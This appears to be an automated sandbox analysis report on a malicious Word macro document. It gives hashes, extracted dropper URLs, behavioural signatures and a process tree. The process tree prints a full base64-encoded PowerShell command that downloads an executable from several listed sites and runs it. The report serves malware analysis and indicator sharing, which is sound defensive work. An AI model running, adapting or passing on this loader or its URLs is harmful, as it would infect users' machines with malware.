Analysis

  • max time kernel
    100s
  • max time network
    85s
  • platform
    windows7_x64
  • resource
    win7-20220414-en
  • submitted
    20-05-2022 22:08

General

  • Target

    sample.doc

  • Size

    231KB

  • MD5

    cb235ef0104c8ed67cdb12d17dba8e02

  • SHA1

    da7fd08657a9c17d2efe87754218dbd7851212d3

  • SHA256

    39af19338e24f5fcea02d5777af1f45eef1669e7834311632f223524b7e773c4

  • SHA512

    cb31003906e4140029cd688091f20d2d433df803f295198a48d84eb5b6ac48faafb325acef91e044987dbf63b23d5630f39a926ac1cfafaecabc799bb42f78e5

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://casaroomz.com/wp-includes/rPG/

exe.dropper

http://necibekulac.com/wp-content/dTl4ul/

exe.dropper

https://www.homeonetechnologies.com/blog/dcy/

exe.dropper

http://todoparaelconfort.com/cgi-bin/wp/

exe.dropper

http://aadarshitibhusawal.org/wp-includes/amI/

exe.dropper

http://digiarmedia.com/wp-admin/8/

exe.dropper

http://avcumda.com/huseyingulgec.com.tr/cO1DS8G/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 11 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\sample.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1968
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1484
    • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
      powersheLL -e JABEAG8AaQA3AHgAagAwAD0AKAAoACcATgAzACcAKwAnAGIAZwAnACkAKwAoACcAcwAnACsAJwBjAHMAJwApACkAOwAuACgAJwBuAGUAdwAnACsAJwAtAGkAdAAnACsAJwBlAG0AJwApACAAJABFAG4AdgA6AFQAZQBtAHAAXABXAE8AUgBEAFwAMgAwADEAOQBcACAALQBpAHQAZQBtAHQAeQBwAGUAIABEAEkAUgBFAGMAdABvAFIAWQA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6ACIAUwBFAEMAYABVAFIAYABJAHQAWQBgAFAAYABSAG8AdABPAEMAbwBsACIAIAA9ACAAKAAoACcAdABsAHMAJwArACcAMQAyACcAKQArACgAJwAsACAAJwArACcAdAAnACkAKwAoACcAbABzACcAKwAnADEAMQAsACAAdAAnACkAKwAnAGwAcwAnACkAOwAkAFoAbwBfAGQAcAB1AGgAIAA9ACAAKAAoACcAWgAnACsAJwBsAGMAJwApACsAKAAnAG8AJwArACcAeQBfADQAJwApACkAOwAkAFEANAA4AF8AZABjAHoAPQAoACgAJwBVADcAJwArACcAYQBqACcAKQArACgAJwA2ADcAJwArACcAYwAnACkAKQA7ACQARAAxAGwANgBqAGQAMAA9ACQAZQBuAHYAOgB0AGUAbQBwACsAKAAoACgAJwAxADUAeAB3ACcAKwAnAG8AJwApACsAJwByAGQAJwArACgAJwAxACcAKwAnADUAeAAyACcAKQArACcAMAAnACsAKAAnADEAOQAxACcAKwAnADUAeAAnACkAKQAuACIAUgBgAEUAcABsAGEAYABDAEUAIgAoACgAWwBjAGgAYQBSAF0ANAA5ACsAWwBjAGgAYQBSAF0ANQAzACsAWwBjAGgAYQBSAF0AMQAyADAAKQAsACcAXAAnACkAKQArACQAWgBvAF8AZABwAHUAaAArACgAJwAuAGUAJwArACcAeABlACcAKQA7ACQAVABzAGwAcwBjADMAcgA9ACgAKAAnAFgAdAAnACsAJwBlACcAKQArACgAJwBlAHIAJwArACcANQBhACcAKQApADsAJABOADEAYgBoAGQAMAA1AD0AJgAoACcAbgBlAHcAJwArACcALQAnACsAJwBvAGIAagBlAGMAdAAnACkAIABOAGUAVAAuAHcARQBiAGMATABpAEUAbgBUADsAJABDAHcANAA3AG8AYwBnAD0AKAAnAGgAdAAnACsAJwB0ACcAKwAnAHAAJwArACgAJwA6AC8AJwArACcALwBjACcAKwAnAGEAcwBhACcAKQArACcAcgBvACcAKwAnAG8AJwArACgAJwBtAHoAJwArACcALgAnACkAKwAoACcAYwAnACsAJwBvAG0AJwApACsAJwAvAHcAJwArACgAJwBwACcAKwAnAC0AaQAnACkAKwAnAG4AJwArACgAJwBjACcAKwAnAGwAdQAnACsAJwBkAGUAcwAvAHIAJwApACsAKAAnAFAARwAnACsAJwAvACoAJwArACcAaAB0AHQAJwApACsAJwBwACcAKwAoACcAOgAvAC8AJwArACcAbgAnACkAKwAoACcAZQAnACsAJwBjAGkAYgAnACkAKwAnAGUAJwArACgAJwBrACcAKwAnAHUAbAAnACkAKwAnAGEAJwArACgAJwBjAC4AYwBvAG0AJwArACcALwAnACkAKwAoACcAdwBwACcAKwAnAC0AJwApACsAKAAnAGMAJwArACcAbwBuAHQAJwApACsAKAAnAGUAJwArACcAbgB0AC8AJwApACsAJwBkAFQAJwArACcAbAAnACsAKAAnADQAJwArACcAdQBsACcAKwAnAC8AKgBoAHQAJwArACcAdAAnACsAJwBwAHMAOgAvAC8AdwB3ACcAKQArACgAJwB3AC4AaABvAG0AZQBvAG4AJwArACcAZQAnACsAJwB0AGUAYwAnACkAKwAnAGgAbgAnACsAKAAnAG8AbAAnACsAJwBvACcAKQArACgAJwBnAGkAJwArACcAZQBzACcAKwAnAC4AYwBvAG0ALwAnACsAJwBiACcAKQArACcAbABvACcAKwAoACcAZwAnACsAJwAvAGQAYwB5ACcAKwAnAC8AKgAnACkAKwAoACcAaAAnACsAJwB0AHQAcAAnACkAKwAoACcAOgAvAC8AJwArACcAdAAnACkAKwAnAG8AZAAnACsAKAAnAG8AcABhACcAKwAnAHIAYQBlAGwAJwArACcAYwAnACkAKwAoACcAbwAnACsAJwBuAGYAJwApACsAKAAnAG8AcgAnACsAJwB0AC4AJwApACsAKAAnAGMAbwBtAC8AYwBnAGkALQAnACsAJwBiACcAKwAnAGkAJwApACsAJwBuACcAKwAoACcALwAnACsAJwB3AHAAJwApACsAJwAvACoAJwArACcAaAB0ACcAKwAnAHQAcAAnACsAJwA6ACcAKwAnAC8AJwArACgAJwAvAGEAYQBkAGEAcgBzAGgAaQAnACsAJwB0AGkAYgBoACcAKwAnAHUAJwArACcAcwAnACkAKwAoACcAYQAnACsAJwB3AGEAbAAnACkAKwAoACcALgBvAHIAZwAvAHcAJwArACcAcAAnACkAKwAnAC0AaQAnACsAJwBuACcAKwAnAGMAJwArACcAbAAnACsAKAAnAHUAZABlACcAKwAnAHMAJwApACsAJwAvACcAKwAoACcAYQAnACsAJwBtAEkAJwApACsAKAAnAC8AJwArACcAKgBoAHQAdABwACcAKwAnADoAJwApACsAJwAvAC8AJwArACgAJwBkACcAKwAnAGkAZwAnACkAKwAnAGkAJwArACgAJwBhAHIAJwArACcAbQBlAGQAaQBhACcAKQArACgAJwAuACcAKwAnAGMAbwAnACkAKwAoACcAbQAnACsAJwAvAHcAcAAnACkAKwAnAC0AYQAnACsAJwBkAG0AJwArACcAaQBuACcAKwAnAC8AJwArACcAOAAvACcAKwAnACoAaAAnACsAJwB0AHQAJwArACcAcAAnACsAKAAnADoALwAnACsAJwAvACcAKQArACgAJwBhAHYAYwAnACsAJwB1ACcAKQArACcAbQBkACcAKwAoACcAYQAuACcAKwAnAGMAJwApACsAKAAnAG8AbQAnACsAJwAvAGgAdQAnACkAKwAnAHMAZQAnACsAKAAnAHkAaQAnACsAJwBuAGcAdQAnACkAKwAoACcAbABnACcAKwAnAGUAJwApACsAKAAnAGMAJwArACcALgBjACcAKQArACcAbwBtACcAKwAoACcALgAnACsAJwB0AHIAJwApACsAJwAvAGMAJwArACgAJwBPADEARABTADgAJwArACcARwAnACsAJwAvACcAKQApAC4AIgBTAFAAYABsAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFAAaQBpADYAbgAwADEAPQAoACgAJwBCACcAKwAnAHoAcAAnACkAKwAoACcAeABiACcAKwAnAGoAdgAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFgAXwB1AGYAeABkADIAIABpAG4AIAAkAEMAdwA0ADcAbwBjAGcAKQB7AHQAcgB5AHsAJABOADEAYgBoAGQAMAA1AC4AIgBEAGAAbwBXAG4AbABvAGAAQQBEAGAARgBJAGwARQAiACgAJABYAF8AdQBmAHgAZAAyACwAIAAkAEQAMQBsADYAagBkADAAKQA7ACQARwBoAHcAZgB5AGwAMAA9ACgAKAAnAEkAJwArACcAXwBkAHUAJwApACsAJwAwACcAKwAnAHUANwAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQARAAxAGwANgBqAGQAMAApAC4AIgBsAGAAZQBOAGAAZwBUAGgAIgAgAC0AZwBlACAAMwA4ADgAMQA3ACkAIAB7ACYAKAAnAEkAbgB2AG8AawAnACsAJwBlAC0ASQB0AGUAJwArACcAbQAnACkAKAAkAEQAMQBsADYAagBkADAAKQA7ACQAWAB5AHcAeABpAHMANAA9ACgAKAAnAFcAcABuAG4AJwArACcANgAnACkAKwAnADYAeQAnACkAOwBiAHIAZQBhAGsAOwAkAEEANwBqAGgANwByAGwAPQAoACcASgB0ACcAKwAoACcAbgA3AGYAJwArACcAcgBzACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABNADQAZgB3ADAAcgBfAD0AKAAnAFYAJwArACgAJwBtADQANwB2ACcAKwAnAHMAcgAnACkAKQA=
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1688

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Defense Evasion

    Modify Registry

    1
    T1112

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/1484-83-0x0000000000000000-mapping.dmp
    • memory/1688-79-0x000007FEFBD01000-0x000007FEFBD03000-memory.dmp
      Filesize

      8KB

    • memory/1688-82-0x00000000024FB000-0x000000000251A000-memory.dmp
      Filesize

      124KB

    • memory/1688-81-0x00000000024F4000-0x00000000024F7000-memory.dmp
      Filesize

      12KB

    • memory/1688-80-0x000007FEF35B0000-0x000007FEF410D000-memory.dmp
      Filesize

      11.4MB

    • memory/1968-68-0x00000000001E0000-0x00000000001E3000-memory.dmp
      Filesize

      12KB

    • memory/1968-72-0x00000000001E0000-0x00000000001E3000-memory.dmp
      Filesize

      12KB

    • memory/1968-60-0x00000000001E0000-0x00000000001E3000-memory.dmp
      Filesize

      12KB

    • memory/1968-61-0x00000000001E0000-0x00000000001E3000-memory.dmp
      Filesize

      12KB

    • memory/1968-64-0x00000000001E0000-0x00000000001E3000-memory.dmp
      Filesize

      12KB

    • memory/1968-63-0x00000000001E0000-0x00000000001E3000-memory.dmp
      Filesize

      12KB

    • memory/1968-65-0x00000000001E0000-0x00000000001E3000-memory.dmp
      Filesize

      12KB

    • memory/1968-66-0x00000000001E0000-0x00000000001E3000-memory.dmp
      Filesize

      12KB

    • memory/1968-67-0x00000000001E0000-0x00000000001E3000-memory.dmp
      Filesize

      12KB

    • memory/1968-54-0x00000000724B1000-0x00000000724B4000-memory.dmp
      Filesize

      12KB

    • memory/1968-69-0x00000000001E0000-0x00000000001E3000-memory.dmp
      Filesize

      12KB

    • memory/1968-70-0x00000000001E0000-0x00000000001E3000-memory.dmp
      Filesize

      12KB

    • memory/1968-71-0x00000000001E0000-0x00000000001E3000-memory.dmp
      Filesize

      12KB

    • memory/1968-62-0x00000000001E0000-0x00000000001E3000-memory.dmp
      Filesize

      12KB

    • memory/1968-73-0x00000000001E0000-0x00000000001E3000-memory.dmp
      Filesize

      12KB

    • memory/1968-74-0x00000000001E0000-0x00000000001E3000-memory.dmp
      Filesize

      12KB

    • memory/1968-75-0x00000000001E0000-0x00000000001E3000-memory.dmp
      Filesize

      12KB

    • memory/1968-78-0x00000000001E0000-0x00000000001E3000-memory.dmp
      Filesize

      12KB

    • memory/1968-77-0x00000000001E0000-0x00000000001E3000-memory.dmp
      Filesize

      12KB

    • memory/1968-76-0x00000000001E0000-0x00000000001E3000-memory.dmp
      Filesize

      12KB

    • memory/1968-59-0x00000000001E0000-0x00000000001E3000-memory.dmp
      Filesize

      12KB

    • memory/1968-58-0x0000000070F1D000-0x0000000070F28000-memory.dmp
      Filesize

      44KB

    • memory/1968-57-0x0000000075EF1000-0x0000000075EF3000-memory.dmp
      Filesize

      8KB

    • memory/1968-56-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1968-55-0x000000006FF31000-0x000000006FF33000-memory.dmp
      Filesize

      8KB

    • memory/1968-85-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB